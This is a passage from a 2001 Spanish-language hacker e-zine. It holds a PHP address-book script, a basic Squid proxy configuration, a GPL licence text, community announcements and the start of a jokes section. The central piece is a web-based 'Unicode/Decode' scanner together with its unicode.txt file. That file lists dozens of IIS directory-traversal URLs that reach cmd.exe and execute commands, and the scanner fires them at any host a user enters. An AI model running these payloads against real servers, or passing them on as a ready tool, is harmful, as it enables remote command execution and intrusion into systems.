    	    echo "	  <TD>E-Mail    :</TD>\n";
    	    echo "	  <TD>".$lista["email"]."</TD>\n";
    	    echo "	</TR>\n";
    	    echo "</TABLE>\n";
    	    echo "<INPUT type=\"submit\" name=\"borrar\" value=\"Borrar\">\n
";
    	    echo "<INPUT type=\"hidden\" name=\"id\" value=\"$id\">\n";
	    echo "</FORM>\n
";
        
} else 
	  {
            echo "<CENTER><FONT size=\"5\">Error, Usted introdujo un ID no Valido</FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
          }
      }
   }
}

switch($op) {

    case "Agregar":
	Agregar($enviar, $nombre, $direccion, $telefono, $email);
	break;

    case "Borrar":
	Borrar();
	break;

    case "PrevioBorrar":
	PrevioBorrar($borrar, $id);
	break;

    case "Borrado":
	Borrado($borrar, $id);
	break;

    case "Modificar":
	Modificar();
	break;

    case "Modificado":
	Modificado($modificar, $id, $nombre, $direccion, $telefono, $email);
	break;
	
    case "Modifica":
        Modifica($modifica, $id);
	break;

    case "Busqueda":
	Busqueda($buscar, $opc, $int, $ini, $fin);
	break;

    default:
	Buscador();
	break;

}

Footer();
?>
</BODY>
</HTML>
[--]



######################
#  12.- squid.conf   #
######################

[++] squid/squid.conf
############################################
# Configuracion Basica de Squid Proxy      #
# By: Mr. kl0nk Manson - kl0nk@uole.com.ve #
# Creado el 13/05/2001                     #
# Esto esta Bajo la GNU/GPL                #
############################################

# Puertos
http_port               3128
icp_port 		3130

# Cache
cache_mem               32 MB
cache_swap_low          90
cache_swap_high         95

maximum_object_size     8192 KB

# Directorios
cache_dir 	ufs 	/var/spool/squid 100 16 256
cache_access_log        /var/log/squid/access.log
cache_log               /var/log/squid/cache.log
cache_store_log         /var/log/squid/store.log

# ACL (Lista de Control de Acceso)
acl manager             proto  cache_object
acl localhost           src    127.0.0.1/255.255.255.255
acl all	                src    0.0.0.0/0.0.0.0
acl red       		src    192.168.0.0/255.255.255.0
acl bad_urls		dst    "/etc/squid/bad_urls"                                                      

http_access             deny   manager all
http_access             allow  red
http_access             deny   bad_urls

icp_access              deny   all
icp_access              allow  red
icp_access              deny   bad_urls

# Hostname y Email
visible_hostname        localhost
cache_mgr               root@localhost

# Usuario y Grupo 
cache_effective_user    squid
cache_effective_group   squid
[--]

[++] unicode/unicode.php
<?php

##############################################################################
# SCANNER UNICODE/DECODE v1.2                                                #                                                           #
#                                                                            #
# Script Escrito por Mr. kl0nk Manson (kl0nk at uole dot com dot ve)         # 
#                                                                            #
# Este es un script fue creado con la finalidad de testear servidores        #
# vulnerables al bug del Unicode/Decode. NO me hago responsables por el Uso  #
# indebido de este script.                                                   #
#                                                                            #  
# Este script fue primeramente escrito bajo Perl 5 para ser utilizado via    #
# Shell y mi persona lo ha remodelado para que pueda trabajar "Via Web" como #
# Herramienta de Diagnostico. Desde la version 1.2 estara escrito bajo PHP   #
# (ver Changelog). Dudas/Preguntas/Etc sobre esta version orientada a la     #
# parte Web hacerlas a mi email.                                             #
#                                                                            #
# Por favor Abstenerse a usar este script personas que no tenga ni puta idea #
# sobre PHP, en otras palabras, los famosos "Script Kiddies"                 #
#                                                                            #
# Este Software esta protegido bajo la Licencia Publica General (GNU/GPL).   #
# Este Software puede ser Re-Distribuido, modificado, simpre y mientras      #
# cuando no se borre/altere el CopyRight                                     #       
#                                                                            #
##############################################################################

/*****************************************************************************/
/* Changelog                                                                 */                                                           #
/* ---------                                                                 */
/*                                                                           */
/* 28 de Agosto del 2001 - v1.2                                              */
/* ---------------------                                                     */
/* - Este script es portado totalmente a PHP, antiguamente estaba escrito    */
/*   bajo Perl 5 basandome en un script escrito por Alex Lavrynenko
 para     */
/*   hacer conexiones via PHP utilizando Sockets. Ahora este scanner es mas  */
/*   estable que las versiones anteriores y ahora trabajara con un archivo   */
/*   llamado unicode.txt donde se guardara las nuevas vulnerabilidades.      */
/*                                                                           */
/* 01 de Agosto del 2001 - v1.1Beta1                                         */
/* ---------------------                                                     */
/* - Agregado Sistema Multi-DiscoDuro (C:, D:, E:, ... )                     */
/*                                                                           */
/* 29 de Julio  del 2001 - v1.0                                              */
/* ---------------------                                                     */
/* Primera Version                                                           */
/*                                                                           */
/*****************************************************************************/



function menu($site) {
    if (!isset($site)) { $site = "http://"; }
    if (!isset($puerto)) { $puerto = "80"; }
    echo "<html>
\n"
        ."<head>
\n"
        ."<title>Scanner Unicode/Decode - By Mr. kl0nk Manson</TITLE>
\n"
        ."</head>
\n"
        ."
<body bgcolor=\"#000000\" text=\"#FFFFFF\" link=\"#cc0000\" alink=\"#cc0000\" vlink=\"#cc0000\">\n"
	."<center>"
	."<b><font size=\"4\" color=\"#FFFFFF\">Unicode/Decode Scanner</font></b><br><br>\n"
	."<table width=\"50%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" bgcolor=\"CC0000\"><tr><td>\n"
        ."<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"8\" bgcolor=\"000000\"><tr><td>\n"
	."<center>"
        ."<form method=\"post\" name=\"op\" action=\"unicode.php?op=proceso\">"
        ."Scanear <input type=\"text\" name=\"site\" size=\"15\" value=\"$site\">
\n"
        ."Puerto <input type=\"text\" name=\"puerto\" size=\"5\" value=\"$puerto\">
\n"
	."Dir <select name=\"dir\">\n"
        ."<option value=\"c\">C:</option>\n"
        ."<option value=\"d\">D:</option>\n"
        ."<option value=\"e\">E:</option>\n"
        ."<option value=\"f\">F:</option>\n"
        ."<option value=\"g\">G:</option>\n"
        ."<option value=\"h\">H:</option>\n"
	."<option value=\"i\">I:</option>\n"
	."<option value=\"j\">J:</option>\n"
        ."</select>\n"
	."<INPUT type=\"hidden\" name=\"band\" value=\"1\">\n"
        ."<input type=\"submit\" value=\"Scanear!\">\n"
	."</center>"
	."</td></tr></table></td></tr></table>\n"
	."</center><br><br>\n";
}

function footer() {
    echo "<br><br><center>Unicode/Decode Scanner - Creado por <a href=\"http://pleyades.sourceforge.net\">Mr. kl0nk Manson</a> - 2001</center>\n";
    echo "</body>\n";
    echo "</html>\n";    
}


function proceso($site, $band, $dir, $puerto) {
    if($band == "0") {	
        menu($site);
	footer();
    } elseif ($band == "1") { 
       menu($site);
       $pattern = "(http://)?([^[:space:]]+)([[:alnum:]\.,-_?/&=])";
       $replace = "\\2\\3";
       $site = eregi_replace ($pattern, $replace, $site);
       $total = 0;
       $filename = "unicode.txt";
       $fd = fopen ($filename, "r");
       $cont = fread ($fd, filesize ($filename));
       $cginame = explode ("\n", $cont);
       fclose ($fd);
       $cginumber = count($cginame);
       if ($connect_err) { 
	    print(strrev(join("
",split("[123]","evitcAretnI2xelA1yb"))));
       }
       $conex = fsockopen($site, $puerto);
       if(!$conex) { 
          echo "<font size=\"5\">No se puede abrir la conexion</font>\n"; 
          footer(); 
          exit; 
       }

       if ($site) {
        print ("SCANEANDO http://$site\">http://$site... ($puerto)
<br><br>\n");
	echo "<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" bgcolor=\"000000\"><tr><td>\n";
	echo "<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" bgcolor=\"cc0000\">\n";
	echo "<tr>\n"; 
	echo "<td width=\"85%\"><b>Bug</b></td>\n"; 
	echo "<td width=\"15%\"><b>Encontrado como:</b></td>\n"; 
	echo "</tr></table></td></tr></table>\n"; 

	echo "<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" bgcolor=\"000000\"><tr><td>\n";
	echo "<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" bgcolor=\"000000\">\n";
        for ($count = 1 ; $count < $cginumber ; $count++) 
	{
  $fp = fsockopen($site, $puerto);
           if(!$fp){ echo "No se puede abrir la conexion \n"; exit; }

           else {
             fputs($fp,"GET $cginame[$count]$dir HTTP/1.1\n\n");

             while(!feof($fp))
{ 

               $nom=fgets($fp,200);

 	       if (ereg("200 OK",$nom))
{
	          $total++;    
	          echo "<tr>"; 
	          print("<td width=\"85%\">$count.- <a target=\"_blank\" href=\"http://$site$cginame[$count]\"
>http://$site$cginame[$count][$dir]</a></td>\n");
	          echo"<td width=\"15%\"><font color=red><blink>VULNERABLE!</blink></font></td>\n";
 
	          echo "</tr>\n"; 
	          break;
               } else
 {
	         echo "<tr>";
	         print("<td width=\"85%\">$count.- http://$site$cginame[$count]$dir</td>\n");
		 echo "<td width=\"15%\">No Vulnerable</td>";
		 
echo "</tr>";break;
	       }
              }

           fclose($fp);
           }
    
     }
      echo "</table></td></tr></table>\n"; 

      }
  }
  print ("<br><center><font size=\"5\">$total Vulnerabilidades encontradas...</font></center>\n")
;
  footer();
}

switch($op) {

   default:
	menu($site);
	break;
    case "proceso":
	proceso($site, $band, $dir, $puerto);
	break;

}

?>

[--]

[++] unicode/unicode.txt
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+dir+
/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+
/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+
/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c
+
dir+
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+
/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+
/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c
+
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd
.exe?/c+dir+
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/sy
stem32/cmd.exe?/c+dir+
/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+$dir
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+
/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+
/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+
/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+
/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd
.exe?/c+dir+
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/sy
stem32/cmd.exe?/c+dir+
/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c
+
dir+
/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+dir+
/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/
c+dir+
/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+dir+
/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+
/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+
/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+
[--]

[++] unicode/LICENSE

                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.
                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS
[--]


--EOF--


-[ 3x14.txt ]----------------------------------------------------------------
-[ Proyectos Varios ]----------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-

  Esta  es  una  nueva  seccion donde te mantendremos informado sobre los
  proyectos de 0ri0n, tanto lo que se estan ejecutando como los proximos.
  Entre ellos encontramos:


      A. Colaboraciones/Colaboradores.
      B. Mirror 0ri0n E-Zine. 
      C. Lista de Correo.
      D. Deposito de Documentacion.
      E. Canal en el IRC.
      F. Campa~a Anti-Pornografia-Infantil


  -=[ Colaboraciones/Colaboradores ]=-


  Colaboraciones:
  ---------------

  Puedes colaborar con todo lo que tu quieras (o lo que tu puedas), como
  articulos, dinero, piezas de computacion, etc. Para ello debes  enviar
  un correo con anterioridad a:

  otv@datafull.com

  Luego te diremos como y cuando puedes colaborar con nosostros (ya que
  nosotros no solo vivimos del aire).

  Colaboradores:
  --------------

  Estamos en busqueda de personas creativas y activas para que nos echen
  una manito  con nuestras  labores  diarias (como editores de noticias, 
  escritores para nuestro E-Zine, etc); para ellos nos puedes enviar  un
  email a:

  otv@datafull.com

  Con titulo: [Quiero Colaborar]

  Con mucho gusto te atenderemos y procesaremos tu solicitud. Con respecto a
  los colaboradores para la revista electonica, deben cumplir los siguientes
  requisitos:

  1. Saber Leer y Escribir bien.
  2. Los articulos no deben pasar de 80 columnas.
  3. Debe tener una buena ortografia y gramatica.
  4. Solo debe usar los 127 caracteres ASCII.
  5. Los textos debe leerse bien y no ser tan ELITE al escribirlos.
  6. Deben tener coherencia.
  7. Deben ser escritos bajo el EDIT del DOS o PICO en Linux.
  8. Deben enviar los articulos dos (2) semanas antes de la publicacion.
  9. Los articulos no deben ser COPIA de otros.
 10. Puedes enviar cualquier tipo de traduccion, simpre y cuando respetando
     el Copyright de el autor y la proveniencia del articulo.


  La direccion de correo electronico para el envio de los articulos es la
  siguiente:

  otv@datafull.com



  -=[ Mirror 0ri0n E-Zine]=-


  Estamos en busquedas de mirrors para nuestra revista, si deseas ser mirror
  de nuestra Zine puedes enviarnos un Correo a la siguiente direccion:

  kl0nk@uole.com.ve

  Con titulo:  [Mirror 0ri0n E-Zine]
  
  Ya por lo menos tenemos 3 sitios que son mirror Ezine de nuestra Revista,
  los cuales son:
  
  http://www.vanhackez.com             (La Tarberna de VanHackez)
  http://www.zine-store.com.ar         (Zine Store)
  http://www.x-system.net              (X-System)
  http://
www.galeon.com/deraiz         (GriNdEr Web Site)
  http://
www.elhacker.net              (ElHacker.Net)
  http://www.area54.4all.com.ar	       (Area 54)


  Si  quieres  que nosotros seamos mirror de tu revista  electronica, solo
  envianos un correo a:

  kl0nk@uole.com.ve

  Con titulo: [Quiero que 0ri0n sea Mirror de mi E-Zine...]

  Y en menos de dos dias lo tendremos listo.



  -=[ Lista de Correos ]=-


  Con respecto a nuestra lista de correos, puedes subscribirte enviando un
  correo en blanco a:

  orion-team-subscribe@yahoogroups.com

  Y para para cancelar tu subscribcion, envia un correo en blanco a:

  orion-team-unsubscribe@yahoogroups.com (Recibiras un correo de confirmacion)

  Tambien te puedes subscribir a nuestra lista de correos desde nuestro sitio
  web (en los bloques a mano izquierda). Para ver las reglas de la lista 
  visita:

  http://pleyades.sourceforge.net/lista.php


                 ..... [ Di NO al Correo NO SOLICITADO ] .....



  -=[ Deposito de Documentacion ]=-

  Este  es  un nuevo  proyecto de 0ri0n (la cual esta en fase beta), lo que
  quereremos con esto es depositar en nuestra web con toda la documentacion
  referente a Sistema Operativos, Redes, Lenguajes de Programacion, Etc. Si
  tienes  un  buen  texto, puedes  enviarlo  a  otv@datafull.com  ( con  su
  respectivo Copyright, Nombre del Autor, Direccion de Correo Electronico),
  la documentacion ya depositada la puedes ver en:

  http://pleyades.sourceforge.net/docs.php



  -=[ Canal en el IRC.]=-

  Este es un peque~o proyecto (mas que un proyecto es una  via  de descanso
  para todo el staff de 0ri0n), fue el de fundar un canal de  charlas en el
  IRC (irc.dal.net:7000), es el de #otv , aqui nos reunimos  todos los  del
  staff (y algunos amigos) para discutir  diferentes  temas  (H/C/P/V/Etc);
  Pero como todo no es color rosa tambien fundamos un canal para proporcionar
  ayuda con linux, que es el de  #LinuxAyuda, alli   puedes conseguir ayuda
  con  todo  lo  referente  a   al   maravilloso Sistema  Operativo  Linux, 
  simplemente  te  invitamos  para  que  compartas  un  rato agreadable con 
  nosostros.
  
  Tambien  buscamos  personas  que pueda colaborar  con Bots para el canal
  de #LinuxAyuda, esto es para automatizar el proceso  y  para  resguardar
  el canal.
 
 
  -=[ Campa~a Anti-Pornografia Infantil ]=-

  Este es  un  nuevo proyecto, en  el cual queremos hacer un llamdo a todos
  los Team de Hack que  quieran  colaborar para sacar del aire a los sitios 
  web  que contengan Pornografia  Infantil, esto  se hara denunciandolo con 
  la  gente   de   www.protegelos.com   (nada  de  WebCrack's), para  mayor 
  informacion visita nuestra web.

  Actualmente estamos trabajando en ellos las siguientes personas:
  
  - Elektr0 (Eletron Security Team - http://www.est.cl)
  - Todo el Staff de 0ri0n.
  


-EOF-



-[ 3x15.txt ]----------------------------------------------------------------
-[ Seccion Anti-Stress ]-------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-


  UNA BALLENA!!
  Hay un borracho frente a la playa y grita desesperadamente: una ballena, 
  una ballena, y todas las personas salen de la playa, luego viene el 
